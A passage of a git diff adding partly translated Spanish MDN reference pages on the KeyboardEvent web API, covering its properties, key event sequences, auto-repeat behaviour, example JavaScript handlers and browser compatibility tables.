+ <div class="note"><strong>Nota:</strong> Si la tecla es usada como una macro que inserta múltiples caracteres, If the key is used as a macro that inserts multiple characters, el valor de este atributo es la cadena completa, no solo el primer carácter.</div>
+
+ <div class="warning"><strong>Advertencia:</strong> Esta propiedad ha sido eliminada de los eventos del DOM de nivel 3. Esta es únicamente soportada en IE.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.charCode")}} {{Deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Returns an <code>unsigned<code> </code>long</code> representing the Unicode reference number of the key; this attribute is used only by the <code>keypress</code> event. For keys whose <code>char</code> attribute contains multiple characters, this is the Unicode value of the first character in that attribute. In Firefox 26 this returns codes for printable characters.
+ <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.code")}} {{Readonlyinline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} with the code value of the key represented by the event.</dd>
+ <dt>{{domxref("KeyboardEvent.ctrlKey")}} {{Readonlyinline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} that is <code>true</code> if the <kbd>Ctrl</kbd> key was active when the key event was generated.</dd>
+ <dt>{{domxref("KeyboardEvent.isComposing")}} {{Readonlyinline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} that is <code>true</code> if the event is fired between after <code>compositionstart</code> and before <code>compositionend</code>.</dd>
+ <dt>{{domxref("KeyboardEvent.key")}} {{Readonlyinline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the key value of the key represented by the event.</dd>
+ <dt>{{domxref("KeyboardEvent.keyCode")}} {{deprecated_inline()}}{{Readonlyinline}}</dt>
+ <dd>Returns an <code>unsigned long</code> representing a system and implementation dependent numerical code identifying the unmodified value of the pressed key.
+ <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.locale")}} {{Readonlyinline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing a locale string indicating the locale the keyboard is configured for. This may be the empty string if the browser or device doesn't know the keyboard's locale.
+ <div class="note"><strong>Note:</strong> This does not describe the locale of the data being entered. A user may be using one keyboard layout while typing text in a different language.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.location")}}<a name="Attributes_location"> {{Readonlyinline}}</a></dt>
+ <dd>Returns an <code>unsigned long</code> representing the location of the key on the keyboard or other input device.</dd>
+ <dt>{{domxref("KeyboardEvent.metaKey")}} {{Readonlyinline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} that is <code>true</code> if the <kbd>Meta</kbd> (or <kbd>Command</kbd> on OS X) key was active when the key event was generated.</dd>
+ <dt>{{domxref("KeyboardEvent.repeat")}} {{Readonlyinline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} that is <code>true</code> if the key is being held down such that it is automatically repeating.</dd>
+ <dt>{{domxref("KeyboardEvent.shiftKey")}} {{Readonlyinline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} that is <code>true</code> if the <kbd>Shift</kbd> key was active when the key event was generated.</dd>
+ <dt>{{domxref("KeyboardEvent.which")}} {{deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Returns an <code>unsigned long</code> representing a system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as <code>keyCode</code>.
+ <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+ </dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<p>There are <code>keydown</code>, <code>keypress</code>, and <code>keyup</code> events. For most keys, Gecko dispatches a sequence of key events like this:</p>
+
+<ol>
+ <li>When the key is first depressed, the <code>keydown</code> event is sent.</li>
+ <li>If the key is not a modifier key, the <code>keypress</code> event is sent.</li>
+ <li>When the user releases the key, the <code>keyup</code> event is sent.</li>
+</ol>
+
+<h3 id="Special_cases">Special cases</h3>
+
+<p>Certain keys toggle the state of an LED indicator, such as Caps Lock, Num Lock, and Scroll Lock. On Windows and Linux, these keys dispatch only the <code>keydown</code> and <code>keyup</code> events. Note that on Linux, Firefox 12 and earlier also dispatched the <code>keypress</code> event for these keys.</p>
+
+<p>On Mac, however, Caps Lock dispatches only the <code>keydown</code> event due to a platform event model limitation. Num Lock had been supported on old MacBook (2007 model and older) but Mac hasn't supported Num Lock feature even on external keyboards in these days. On the old MacBook which has Num Lock key, Num Lock doesn't cause any key events. And Gecko supports Scroll Lock key if an external keyboard which has F14 is connected. However, it generates <code>keypress</code> event. This inconsistent behavior is a bug; see {{bug(602812)}}.</p>
+
+<h3 id="Auto-repeat_handling">Auto-repeat handling</h3>
+
+<p>When a key is pressed and held down, it begins to auto-repeat. This results in a sequence of events similar to the following being dispatched:</p>
+
+<ol>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li>&lt;&lt;repeating until the user releases the key&gt;&gt;</li>
+ <li><code>keyup</code></li>
+</ol>
+
+<p>This is what the DOM Level 3 specification says should happen. There are some caveats, however, as described below.</p>
+
+<h4 id="Auto-repeat_on_some_GTK_environments_such_as_Ubuntu_9.4">Auto-repeat on some GTK environments such as Ubuntu 9.4</h4>
+
+<p>In some GTK-based environments, auto-repeat dispatches a native key-up event automatically during auto-repeat, and there's no way for Gecko to know the difference between a repeated series of keypresses and an auto-repeat. On those platforms, then, an auto-repeat key will generate the following sequence of events:</p>
+
+<ol>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keyup</code></li>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keyup</code></li>
+ <li>&lt;&lt;repeating until the user releases the key&gt;&gt;</li>
+ <li><code>keyup</code></li>
+</ol>
+
+<p>In these environments, unfortunately, there's no way for web content to tell the difference between auto-repeating keys and keys that are just being pressed repeatedly.</p>
+
+<h4 id="Auto-repeat_handling_prior_to_Gecko_4.0">Auto-repeat handling prior to Gecko 4.0</h4>
+
+<p>Before Gecko 4.0 {{geckoRelease('4.0')}}, keyboard handling was less consistent across platforms.</p>
+
+<dl>
+ <dt>Windows</dt>
+ <dd>Auto-repeat behavior is the same as in Gecko 4.0 and later.</dd>
+ <dt>Mac</dt>
+ <dd>After the initial keydown event, only keypress events are sent until the keyup event occurs; the inter-spaced keydown events are not sent.</dd>
+ <dt>Linux</dt>
+ <dd>The event behavior depends on the specific platform. It will either behave like Windows or Mac depending on what the native event model does.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;script&gt;
+var metaChar = false;
+var exampleKey = 16;
+
+function keyEvent(event) {
+  var key = event.keyCode || event.which;
+  var keychar = String.fromCharCode(key);
+  if (key == exampleKey) {
+    metaChar = true;
+  }
+  if (key != exampleKey) {
+    if (metaChar) {
+      alert("Combination of metaKey + " + keychar);
+      metaChar = false;
+    } else {
+      alert("Key pressed " + key);
+    }
+  }
+}
+
+function metaKeyUp (event) {
+  var key = event.keyCode || event.which;
+
+  if (key == exampleKey) {
+    metaChar = false;
+  }
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)"&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#interface-KeyboardEvent', 'KeyboardEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The <code>KeyboardEvent</code> interface specification went through numerous draft versions, first under DOM Events Level 2 where it was dropped as no consensus arose, then under DOM Events Level 3. This led to the implementation of non-standard initialization methods, the early DOM Events Level 2 version, {{domxref("KeyboardEvent.initKeyEvent()")}} by Gecko browsers and the early DOM Events Level 3 version, {{domxref("KeyboardEvent.initKeyboardEvent()")}} by others. Both have been superseded by the modern usage of a constructor: {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("31.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>.char</code></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>.charCode</code></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>.code</code></td>
+   <td colspan="5" rowspan="1">See Browser compatibility of {{domxref("KeyboardEvent.code")}}.</td>
+  </tr>
+  <tr>
+   <td><code>.isComposing</code></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoDesktop("31.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>.key</code></td>
+   <td colspan="5" rowspan="1">See Browser compatibility of {{domxref("KeyboardEvent.key")}}.</td>
+  </tr>
+  <tr>
+   <td><code>.keyCode</code></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>.locale</code></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>.location</code></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("15.0") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>.repeat</code></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("28.0") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>.which</code></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>.getModifierState()</code></td>
+   <td colspan="5" rowspan="1">See Browser compatibility of {{domxref("KeyboardEvent.getModifierState")}}</td>
+  </tr>
+  <tr>
+   <td><code>.initKeyboardEvent()</code></td>
+   <td>{{ CompatVersionUnknown() }} *1</td>
+   <td>{{ CompatNo() }} *2</td>
+   <td>{{ CompatIE("9.0") }} *3</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} *1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("31.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>.char</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>.charCode</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>.code</code></td>
+   <td colspan="5" rowspan="1">See Browser compatibility of {{domxref("KeyboardEvent.code")}}.</td>
+  </tr>
+  <tr>
+   <td><code>.isComposing</code></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoMobile("31.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>.key</code></td>
+   <td colspan="6">See Browser compatibility table of {{domxref("KeyboardEvent.key")}}.</td>
+  </tr>
+  <tr>
+   <td><code>.keyCode</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>.locale</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>.location</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("15.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>.repeat</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("28.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>.which</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>.getModifierState()</code></td>
+   <td colspan="5" rowspan="1">See Browser compatibility of {{domxref("KeyboardEvent.getModifierState")}}</td>
+  </tr>
+  <tr>
+   <td><code>.initKeyboardEvent()</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><br>
+ *1 The arguments of <code>initKeyboardEvent()</code> of WebKit and Blink's are different from the definition in DOM Level 3 Events. The method is: <code>initKeyboardEvent(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg,  in views::AbstractView viewArg, in DOMString keyIndentifierArg, in unsigned long locationArg, in boolean ctrlKeyArg, in boolean altKeyArg, in boolean shiftKeyArg, in boolean metaKeyArg, in boolean altGraphKeyArg)</code></p>
+
+<p><code>*2</code> Gecko won't support <code>initKeyboardEvent()</code> because supporting it completely breaks feature detection of web applications. See {{Bug(999645)}}.</p>
+
+<p>*3 The argument of initKeyboardEvent() of IE is different from the definition in DOM Level 3 Events. The method is: <code>initKeyboardEvent(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in views::AbstractView viewArg, in DOMString keyArg, in unsigned long locationArg, in DOMString modifierListArg, in boolean repeatArt, in DOMString locationArg)</code>. See <a href="http://msdn.microsoft.com/en-us/library/ie/ff975297%28v=vs.85%29.aspx">document of <code>initKeyboardEvent()</code> in MSDN</a>.</p>
diff --git a/files/es/web/api/keyboardevent/key/index.html b/files/es/web/api/keyboardevent/key/index.html
new file mode 100644
index 0000000000..ed765b38b3
--- /dev/null
+++ b/files/es/web/api/keyboardevent/key/index.html
@@ -0,0 +1,212 @@
+---
+title: KeyboardEvent.key
+slug: Web/API/KeyboardEvent/key
+translation_of: Web/API/KeyboardEvent/key
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><span class="seoSummary">La propiedad de solo lectura<strong> </strong><code><strong>KeyboardEvent.key</strong></code> retorna el valor de la tecla presionada por el usuario while taking into considerations the state of modifier keys such as the <code>shiftKey</code> as well as the keyboard locale/layout.</span> Its value is determined as follows:</p>
+
+<div class="pull-aside">
+<p class="moreinfo">See a full list of <a href="/docs/Web/API/KeyboardEvent/key/Key_Values">key values</a>.</p>
+</div>
+
+<ul>
+ <li>Si la tecla presionada tiene una representación impresa, el valor devuelto es una cadena de caracteres Unicode no-vacía que contiene la representación imprimible de la tecla.</li>
+ <li>Si la tecla presionada es un control o un carácter especial, el valor devuelto es uno de los <a href="/docs/Web/API/KeyboardEvent/key/Key_Values">valores clave definidos</a>.</li>
+ <li>If the <code>KeyboardEvent</code> represents the press of a dead key, the key value must be "<code>Dead</code>".</li>
+ <li>Some specialty keyboard keys (such as the extended keys for controlling media on multimedia keyboards) don't generate key codes on Windows; instead, they trigger <code>WM_APPCOMMAND</code> events. These events get mapped to DOM keyboard events, and are listed among the "Virtual key codes" for Windows, even though they aren't actually key codes.</li>
+ <li>If the key cannot be identified, the returned value is <code>"Unidentified"</code>.</li>
+</ul>
+
+<h2 id="KeyboardEvent_Sequence">KeyboardEvent Sequence</h2>
+
+<p><code>KeyboardEvent</code>s are fired in a pre-determined sequence and understanding this will go a long way into understanding the <code>key</code> property value for a particular <code>KeyboardEvent</code>. For a given key press, the sequence of <code>KeyboardEvent</code>s fired is as follows assuming that {{domxref("Event.preventDefault")}} is not called:</p>
+
+<ol>
+ <li>A {{event("keydown")}} event is first fired. If the key is held down further and the key produces a character key, then the event continues to be emitted in a platform implementation dependent interval and the {{domxref("KeyboardEvent.repeat")}} read only property  is set to <code>true</code>.</li>
+ <li>If the key produces a character key that would result in a character being inserted into possibly an {{HTMLElement("input")}}, {{HTMLElement("textarea")}} or an element with {{domxref("HTMLElement.contentEditable")}} set to true, the {{event("beforeinput")}} and {{event("input")}} event types are fired in that order. Note that some other implementations may fire {{event("keypress")}} event if supported. The events will be fired repeatedly while the key is held down.</li>
+ <li>A {{event("keyup")}} event is fired once the key is released. This completes the process.</li>
+</ol>
+
+<p>In sequence 1 &amp; 3, the <code>KeyboardEvent.key</code> attribute is defined and is set appropriately to a value according to the rules defined ealier.</p>
+
+<h2 id="KeyboardEvent_Sequence_Sample">KeyboardEvent Sequence Sample</h2>
+
+<p>Consider the event sequence generated when we interact with the <code>ShiftKey</code> and the legend <code>key 2</code> using a U.S keyboard layout and a UK keyboard layout.</p>
+
+<p>Try experimenting using the following two test cases:</p>
+
+<ol>
+ <li>Press and hold the <code>shift</code> key, then press <code>key 2</code> and release it. Next, release the <code>shift</code> key.</li>
+ <li>Press and hold the <code>shift</code> key, then press and hold <code>key 2</code>. Release the <code>shift</code> key. Finally, release <code>key 2</code>.</li>
+</ol>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="fx"&gt;
+  &lt;div&gt;
+    &lt;textarea rows="5" name="test-target" id="test-target"&gt;&lt;/textarea&gt;
+    &lt;button type="button" name="btn-clear-console" id="btn-clear-console"&gt;clear console&lt;/button&gt;
+  &lt;/div&gt;
+  &lt;div class="flex"&gt;
+    &lt;div id="console-log"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.fx {
+  -webkit-display: flex;
+  display: flex;
+  margin-left: -20px;
+  margin-right: -20px;
+}
+
+.fx &gt; div {
+  padding-left: 20px;
+  padding-right: 20px;
+}
+
+.fx &gt; div:first-child {
+   width: 30%;
+}
+
+.flex {
+  -webkit-flex: 1;
+  flex: 1;
+}
+
+#test-target {
+  display: block;
+  width: 100%;
+  margin-bottom: 10px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">let textarea = document.getElementById('test-target'),
+consoleLog = document.getElementById('console-log'),
+btnClearConsole = document.getElementById('btn-clear-console');
+
+function logMessage(message) {
+  let p = document.createElement('p');
+  p.appendChild(document.createTextNode(message));
+  consoleLog.appendChild(p);
+}
+
+textarea.addEventListener('keydown', (e) =&gt; {
+  if (!e.repeat)
+    logMessage(`first keydown event. key property value is "${e.key}"`);
+  else
+    logMessage(`keydown event repeats. key property value is "${e.key}"`);
+});
+
+textarea.addEventListener('beforeinput', (e) =&gt; {
+  logMessage(`beforeinput event. you are about inputing "${e.data}"`);
+});
+
+textarea.addEventListener('input', (e) =&gt; {
+  logMessage(`input event. you have just inputed "${e.data}"`);
+});
+
+textarea.addEventListener('keyup', (e) =&gt; {
+  logMessage(`keyup event. key property value is "${e.key}"`);
+});
+
+btnClearConsole.addEventListener('click', (e) =&gt; {
+  let child = consoleLog.firstChild;
+  while (child) {
+   consoleLog.removeChild(child);
+   child = consoleLog.firstChild;
+  }
+});</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('KeyboardEvent_Sequence_Sample')}}</p>
+
+<h3 id="Case_1">Case 1</h3>
+
+<p>When the shift key is pressed, a {{event("keydown")}} event is first fired, and the <code>key</code> property value is set to the string <code>"Shift"</code>. As we keep holding this key, the {{event("keydown")}} event does not continue to fire repeatedly because it does not produce a character key.</p>
+
+<p>When <code>key 2</code> is pressed, another {{event("keydown")}} event is fired for this new key press, and the <code>key</code> property value for the event is set to the string <code>"@"</code> for the U.S keyboard type and <code>"""</code> for the UK keyboard type, because of the active modifier <code>shift</code> key. The {{event("beforeinput")}} and {{event("input")}} events are fired next because a character key has been produced.</p>
+
+<p>As we release the <code>key 2</code>, a {{event("keyup")}} event is fired and the <code>key</code> property will maintain the string values <code>"@"</code> and <code>"""</code> for the different keyboard layouts respectively.</p>
+
+<p>As we finally release the <code>shift</code> key, another {{event("keyup")}} event is fired for it, and the key attribute value remains <code>"Shift"</code>.</p>
+
+<h3 id="Case_2">Case 2</h3>
+
+<p>When the shift key is pressed, a {{event("keydown")}} event is first fired, and the <code>key</code> property value is set to be the string <code>"Shift"</code>. As we keep holding this key, the keydown event does not continue to fire repeatedly because it produced no character key.</p>
+
+<p>When <code>key 2</code> is pressed, another {{event("keydown")}} event is fired for this new key press, and the <code>key</code> property value for the event is set to be the string <code>"@"</code> for the U.S keyboard type and <code>"""</code> for the UK keyboard type, because of the active modifier <code>shift</code> key. The {{event("beforeinput")}} and {{event("input")}} events are fired next because a character key has been produced. As we keep holding the key, the {{event("keydown")}} event continues to fire repeatedly and the {{domxref("KeyboardEvent.repeat")}}  property is set to <code>true</code>. The {{event("beforeinput")}} and {{event("input")}} events are fired repeatedly as well.</p>
+
+<p>As we release the <code>shift</code> key, a {{event("keyup")}} event is fired for it, and the key attribute value remains <code>"Shift"</code>. At this point, notice that the <code>key</code> property value for the repeating keydown event of the <code>key 2</code> key press is now "2" because the modifier <code>shift</code> key is no longer active. The same goes for the {{domxref("InputEvent.data")}} property of the {{event("beforeinput")}} and {{event("input")}} events.</p>
+
+<p>As we finally release the <code>key 2</code>, a {{event("keyup")}} event is fired but the <code>key</code> property will be set to the string value <code>"2"</code> for both keyboard layouts because the modifier <code>shift</code> key is no longer active.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>This example uses {{domxref("EventTarget.addEventListener()")}} to listen for {{event("keydown")}} events. When they occur,  the key's value is checked to see if it's one of the keys the code is interested in, and if it is, it gets processed in some way (possibly by steering a spacecraft, perhaps by changing the selected cell in a spreadsheet).</p>
+
+<pre class="brush: js">window.addEventListener("keydown", function (event) {
+  if (event.defaultPrevented) {
+    return; // Do nothing if the event was already processed
+  }
+
+  switch (event.key) {
+    case "Down": // IE specific value
+    case "ArrowDown":
+      // Do something for "down arrow" key press.
+      break;
+    case "Up": // IE specific value
+    case "ArrowUp":
+      // Do something for "up arrow" key press.
+      break;
+    case "Left": // IE specific value
+    case "ArrowLeft":
+      // Do something for "left arrow" key press.
+      break;
+    case "Right": // IE specific value
+    case "ArrowRight":
+      // Do something for "right arrow" key press.
+      break;
+    case "Enter":
+      // Do something for "enter" or "return" key press.
+      break;
+    case "Escape":
+      // Do something for "esc" key press.
+      break;
+    default:
+      return; // Quit when this doesn't handle the key event.
+  }
+
+  // Cancel the default action to avoid it being handled twice
+  event.preventDefault();
+}, true);
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#widl-KeyboardEvent-key', 'KeyboardEvent.key')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition, included key values.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.KeyboardEvent.key")}}</p>
diff --git a/files/es/web/api/keyboardevent/metakey/index.html b/files/es/web/api/keyboardevent/metakey/index.html
new file mode 100644
index 0000000000..7a83c5c0b2
--- /dev/null
+++ b/files/es/web/api/keyboardevent/metakey/index.html
@@ -0,0 +1,131 @@
+---
+title: KeyboardEvent.metaKey
+slug: Web/API/KeyboardEvent/metaKey
+tags:
+  - Evento
+  - Referencia
+translation_of: Web/API/KeyboardEvent/metaKey
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>La propiedad <strong><code>KeyboardEvent.metaKey</code></strong>  es de solo lectura y regresa un valor {{jsxref("Boolean")}} que indica si la tecla <kbd>Meta</kbd> estaba presionada (true) o no (false) cuando el evento ocurrio.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> En teclados Macintosh es la tecla comando (<kbd>⌘</kbd>). En teclados Windows la tecla es lla tecla window (<kbd>⊞</kbd>).</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var metaKeyPressed = <em>instanceOfKeyboardEvent</em>.metaKey
+</pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>{{jsxref("Boolean")}}</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js"> function goInput(e) {
+ // Revisa si estaba presionada la tecla meta y
+   if (e.metaKey) {
+        // realiza esto en caso de cierto
+     superSizeOutput(e);
+   } else {
+         //Realiz esto en caso de falso
+     doOutput(e);
+   }
+ }
+</pre>
+
+<h2 id="metaKey" name="metaKey">metaKey</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div id="example" onmousedown="ismetaKey(event);"&gt;¡Presiona la tecla meta y dame click!&lt;div&gt;
+</pre>
+
+<h3 id="Contenido_Javascript">Contenido Javascript</h3>
+
+<pre class="brush: js">function ismetaKey(e){
+ var el=document.getElementById("example");//Toma el control del div example
+ var mK=e.metaKey;//Obtiene el valor de metaKey y lo almacena
+ el.innerHTML="¡Presiona la tecla meta y dame click!&lt;/br&gt;metaKey:"+mK;//Muestra el valor de metaKey
+}
+</pre>
+
+<p> </p>
+
+<p>{{ EmbedLiveSample('metaKey') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-KeyboardEvent-metaKey','KeyboardEvent.metaKey')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de Navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
